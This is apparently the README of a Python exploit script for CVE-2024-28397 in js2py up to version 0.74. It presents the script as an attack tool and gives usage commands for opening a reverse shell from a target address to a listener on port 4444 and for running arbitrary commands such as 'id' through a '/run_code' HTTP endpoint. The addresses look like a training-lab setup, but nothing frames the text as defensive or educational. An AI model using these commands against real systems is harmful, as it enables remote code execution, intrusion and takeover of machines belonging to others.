
Python exploit script for CVE-2024-28397 targeting js2py <= v0.74. Supports reverse shell and custom command execution via HTTP endpoint.
Default reverse shell payload and optional command argument allowed
exploit works for js2py <= v0.74
requests library (pip install requests)Reverse shell:
python exploit.py 10.129.227.108 /run_code --local_ip 10.10.14.71 --local_port 4444
Custom command:
python exploit.py 10.129.227.108 /run_code --cmd "id"